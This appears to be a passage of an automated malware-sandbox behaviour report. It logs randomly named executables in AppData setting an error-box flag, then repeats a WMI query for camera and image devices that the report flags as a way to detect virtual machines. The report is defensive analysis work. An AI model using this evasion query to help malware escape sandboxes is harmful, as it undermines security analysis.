                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                          Malware Analysis System Evasion

                          barindex
                          Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
